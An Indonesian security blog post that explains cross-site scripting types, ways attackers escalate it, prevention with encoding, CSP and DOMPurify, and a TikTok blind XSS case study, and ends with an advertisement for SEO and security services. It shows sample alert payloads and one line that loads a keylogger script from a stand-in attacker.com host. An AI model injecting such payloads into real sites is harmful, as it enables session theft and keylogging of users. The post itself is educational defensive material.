Apa itu XSS (Cross-Site Scripting)

Satulabs

xss cross site scripting adalah

XSS atau cross-site scripting adalah salah satu celah yang paling sering ditemukan di aplikasi web modern. Meski konsepnya terdengar teknis. Cara kerjanya cukup mudah dipahami, penyerang memasukkan script ke dalam halaman web, lalu script tersebut dijalankan di browser korban.

reflected xss
Contoh serangan XSS

Saya masih ingat ketika pertama kali mengaudit sebuah website kampus yang kelihatannya sederhana. Semua terlihat normal sampai saya mengetikkan karakter <script> di kolom komentar. Seketika halaman bisa muncul popup hasil injeksi XSS Itulah momen saya benar-benar memahami betapa ringannya sebuah celah XSS namun dampaknya bisa berbahaya bagi pengguna website lain.

Definisi Cross-Site Scripting (XSS)

XSS adalah serangan yang memungkinkan penyerang menyisipkan dan menjalankan kode JavaScript berbahaya pada browser pengguna. Serangan ini memanfaatkan kurangnya validasi atau sanitasi input, dan inilah yang dieksploitasi oleh XSS.

Tujuan utama XSS

  • Mencuri cookie (cookie stealing)
  • Mengambil alih sesi login
  • Memodifikasi tampilan halaman
  • Melakukan phishing
  • Menjalankan aksi atas nama korban (misalnya mengirim pesan, mengubah data, membeli produk, dll.)

Sejarah Singkat XSS

XSS pertama kali dipublikasikan sebagai kerentanan pada tahun 2000-an dan menjadi salah satu isu keamanan yang paling banyak dilaporkan di platform bug bounty. OWASP terus memasukkan XSS dalam daftar Top 10 Web Security Risks selama bertahun-tahun. Bukti bahwa celah ini tidak pernah benar-benar hilang.

Referensi:
– OWASP XSS: https://owasp.org/www-community/attacks/xss/
– MDN Web Docs tentang XSS: https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting

diagram serangan xss
Analogi XSS by Aptive

Jenis-Jenis Cross-Site Scripting

Stored XSS

Stored XSS adalah serangan di mana script berbahaya disimpan secara permanen di server. Biasanya terjadi pada fitur komentar, forum, profil pengguna, input database, dan sejenisnya.

Ilustrasi sederhana:

[Database]
Komentar: <script>alert('1'.document.domain);</script>

Risikonya tertinggi karena dampaknya menyebar dan bertahan lama, apalagi pengguna lain bisa mentrigger script tersebut dan bekerja pada browser pengguna lain

Reflected XSS

Reflected XSS adalah serangan yang terjadi ketika input pengguna dikembalikan (direfleksikan) langsung ke browser tanpa validasi.

Biasanya muncul pada:

  • parameter URL
  • form search
  • error message

Contoh URL berbahaya:

https://example.com/search?q=<script>alert(1)</script>

Serangan ini umumnya memerlukan trik sosial (social engineering) agar korban mengklik link tersebut.

DOM-based XSS

DOM-based XSS adalah jenis serangan yang terjadi pada sisi klien (browser), bukan di server. Script berbahaya muncul ketika JavaScript di halaman memanipulasi DOM tanpa sanitasi.

Contoh snippet rawan:

document.getElementById("result").innerHTML = location.hash;

Jika attacker mengirimkan URL:

https://example.com/#<script>alert(1)</script>

Browser akan mengeksekusi script tersebut.

Blind XSS

Blind XSS adalah jenis XSS di mana payload yang kamu tanam tidak langsung terlihat hasil eksekusinya oleh penyerang. Artinya, kamu tidak otomatis melihat popup atau output ketika payload dikirim. Efeknya muncul di sisi admin atau sistem internal yang memproses data tersebut.

Contoh kasus umum Blind XSS:

  • Form kontak atau tiket support
  • Log aktivitas server
  • Panel admin yang memuat data pengguna
  • Form input yang di-queue untuk diproses staf internal

Karena admin biasanya memiliki hak lebih tinggi, Blind XSS berpotensi menghasilkan:

  • Pengambilalihan akun admin
  • Eskalasi hak akses (Privilege Escalation)
  • Akses ke panel internal (back-office)
  • Pengambilan token API atau data sensitif admin

Blind XSS biasanya ditangani menggunakan layanan seperti XSS Hunter, Project Discovery XSS-Client, atau server callback pribadi.

Blind Stored XSS

Blind Stored XSS adalah gabungan konsep Stored XSS dengan Blind XSS. Payload disimpan secara permanen (stored) pada sistem, tapi hasil eksekusinya terjadi di lingkungan yang tidak terlihat oleh penyerang.

Contohnya:

  • Pengguna mengisi form profile, data masuk ke database, admin melihat profil, script berjalan di panel admin
  • Komentar pengguna disimpan, di-moderate oleh admin, script tereksekusi di dashboard admin
  • Input pengguna dimasukkan ke email notifikasi, admin membuka email, payload berjalan di client email berbasis web

Blind Stored XSS sangat berbahaya karena:

  • Eksekusinya terjadi pada akun dengan level tinggi
  • Penyerang tidak perlu menunggu korban klik link
  • Log serangan mungkin tidak terlihat oleh pemilik sistem
xss cross-site scripting, visual studio code image

Bagaimana Serangan XSS Bisa Dikembangkan Lebih Jauh

Banyak penyerang mengembangkan XSS menjadi eksploitasi berantai. Berikut beberapa teknik lanjutan yang sering digunakan:

1. Session Hijacking dan Cookie Stealing

Dengan akses XSS, penyerang dapat:

  • Mengambil cookie sesi
  • Mengambil token CSRF
  • Mengambil OAuth token
  • Mengambil token API yang tersimpan di localStorage

Hasilnya bisa berupa pengambilalihan akun (account takeover).

2. CSRF dan XSS menghasilkan Full Account Takeover

XSS bisa digunakan untuk membuat permintaan otomatis yang tampak legal dari browser korban. Misalnya:

  • Mengubah password
  • Mengubah email
  • Mengirim dana
  • Membuat transaksi
  • Mengubah pengaturan keamanan

3. Keylogging via XSS

XSS dapat memuat script eksternal:

<script src="https://attacker.com/logger.js"></script>

Script ini bisa:

  • Merekam penekanan tombol
  • Mengirimkan data kredensial ke server penyerang

4. Phishing Halus (UI Redressing)

Penyerang dapat:

  • Mengubah tampilan UI
  • Mengganti tombol login
  • Membuat popup palsu
  • Menyisipkan form login palsu

Semua dilakukan langsung di domain asli sehingga lebih meyakinkan.

5. Remote Control Browser (BeEF Framework)

Dengan XSS, penyerang bisa mengaitkan browser korban ke framework seperti BeEF, memungkinkan:

  • Screenshot halaman
  • Redirect otomatis
  • Eksekusi JavaScript lanjutan
  • Enumerasi jaringan internal (pivoting)

6. Eksploitasi Internal Network (XSS Pivoting)

Jika korban berada di jaringan perusahaan, attacker bisa:

  • Mengakses perangkat internal via browser korban
  • Membaca panel admin lokal
  • Melakukan port scanning internal

Teknik ini dikenal sebagai Browser-Based Pivoting.

Dampak Cross-Site Scripting

Dampak Terhadap Pengguna

Dampaknya bisa sangat serius, terutama jika targetnya adalah akun pengguna aktif.

Potensi dampak:

  • Cookie stealing (pencurian sesi login)
  • Pengambilalihan akun (Account Takeover)
  • Keylogging
  • Redirect ke situs phishing
  • Penipuan transaksi

Untuk aplikasi keuangan atau e-commerce, XSS dapat menjadi pintu masuk serangan lanjutan.

Risiko Terhadap Keamanan Situs Web

Bukan hanya pengguna yang dirugikan, melainkan pemilik website juga akan kena imbasnya.

Risiko bagi website:

  • Kehilangan kepercayaan pengguna (trust)
  • Kerusakan reputasi brand
  • Manipulasi konten
  • Penyalahgunaan fitur admin jika admin menjadi korban XSS
  • Kerentanan lain seperti CSRF bisa digabungkan untuk serangan lebih besar

Beberapa insiden besar bahkan melibatkan XSS sebagai titik awal eksploitasi rantai penuh, yang dikenal full chain exploit atau chaining exploit.

Teknik Pencegahan XSS

Validasi Input Pengguna

Prinsip dasarnya jangan pernah percaya input apapun dari pengguna.

Jika programmer ingin menutup celah XSS, mereka harus:

  • Menolak karakter berbahaya seperti < > " '
  • Mengizinkan hanya karakter tertentu (whitelist)
  • Membatasi panjang input
  • Menggunakan library sanitasi (contoh: DOMPurify)

Konteks Encoding

Setiap konteks HTML membutuhkan encoding yang berbeda:

KonteksEncoding
HTML&lt; &gt; &amp; &quot;
JavaScriptescaping dengan backslash
URLencodeURIComponent()
Attribute HTMLescaped quotes & characters

Kesalahan memilih encoding adalah penyebab umum XSS.

Penggunaan Content Security Policy (CSP)

CSP adalah lapisan keamanan tambahan untuk membatasi script apa saja yang boleh dijalankan.

Contoh CSP dasar:

Content-Security-Policy: default-src 'self'; script-src 'self';

CSP tidak menghilangkan XSS, tetapi mengurangi dampaknya.

Contoh Implementasi Keamanan

Contoh sanitasi input komentar menggunakan Express.js + DOMPurify:

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.post('/comment', (req, res) => {
    const safe = DOMPurify.sanitize(req.body.comment);
    saveToDB(safe);
    res.send('Comment saved safely.');
});

Coba ikuti standar dari Cheat Sheet OWASP Cross-Site Scripting Prevention.

Studi Kasus, Blind Stored XSS di TikTok Live

Peneliti keamanan Ahmed Abd Elrahman melaporkan Blind Stored XSS di subdomain TikTok yang berkaitan dengan live-streaming, khususnya bagian partnership dan manajemen live streaming.

Form kontak (partnership inquiry) TikTok menerima payload meskipun input “plain English characters” saja dianggap valid di awal oleh sistem.

Tiktok Live Blind XSS

Payload kemudian disimpan (stored) oleh backend TikTok, namun tidak langsung dipicu di halaman publik. Eksekusi baru terjadi kemudian sekitar enam bulan setelah injeksi, ketika payload dieksekusi di domain internal milik TikTok yang tidak dapat diakses publik.

xss hunter tools
XSS Hunter Tools

Eksekusi terdeteksi melalui notifikasi dari XSS Hunter, tool yang digunakan peneliti untuk mendeteksi kapan dan di mana payload dijalankan.

Dampak dari celah ini adalah pengungkapan informasi internal sensitif, data sistem, dan detail proyek internal TikTok.

Menurut Ahmed Abd Elrahman, eksploitasi ini sangat berbahaya meski sulit diprediksi kapan payload akan dijalankan karena hanya aktif di sistem internal, bukan di antarmuka publik.

TikTok menilai kerentanan ini sebagai Medium dengan skor CVSS 6.8, terutama karena kompleksitas serangan tinggi dan penyerang tidak punya kontrol langsung atas kapan payload dijalankan. Laporan resmi disampaikan via HackerOne dan diresolusikan dalam rentang waktu.

Pembelajaran dari Serangan XSS

Beberapa pelajaran penting dari kasus-kasus di atas:

  • XSS selalu dimulai dari input yang tidak tervalidasi
  • Serangan kecil bisa berkembang menjadi sesuatuu yang besar
  • Social engineering sering menjadi trik tambahan untuk menyasar korbannya
  • Website besar pun tidak kebal terhadap XSS
  • Pencegahan harus dilakukan di semua lapisan, mulai dari input, output, CSP, dan sanitasi

Cross-site scripting (XSS) masih menjadi salah satu ancaman keamanan web yang paling sering ditemukan. Meski tampak sederhana, dampaknya bisa serius. Mulai dari pencurian cookie hingga pengambilalihan akun.

Sebagai penutup, jika Anda ingin bisnis Anda semakin dikenal dan tampil di halaman pertama Google, Jasa SEO Terpercaya Optimaise siap membantu Anda. Dengan strategi SEO yang telah terbukti efektif serta pengalaman dalam meningkatkan visibilitas berbagai bisnis di Malang, Bali, dan Jakarta, kami siap membawa website Anda ke level berikutnya. Jangan biarkan pesaing melangkah lebih dulu—optimalkan website Anda sekarang juga.

Dapatkan strategi SEO terbaik untuk pertumbuhan bisnis Anda dengan mengunjungi optimaise.co.id dan berlangganan layanan kami untuk hasil yang maksimal.

Lindungi website Anda dari ancaman siber.

Kami menyediakan proteksi komprehensif, mulai dari firewall, enkripsi data, hingga pemantauan keamanan 24/7 untuk memastikan bisnis Anda tetap aman dan terpercaya.

Mulai Sekarang
Optimaise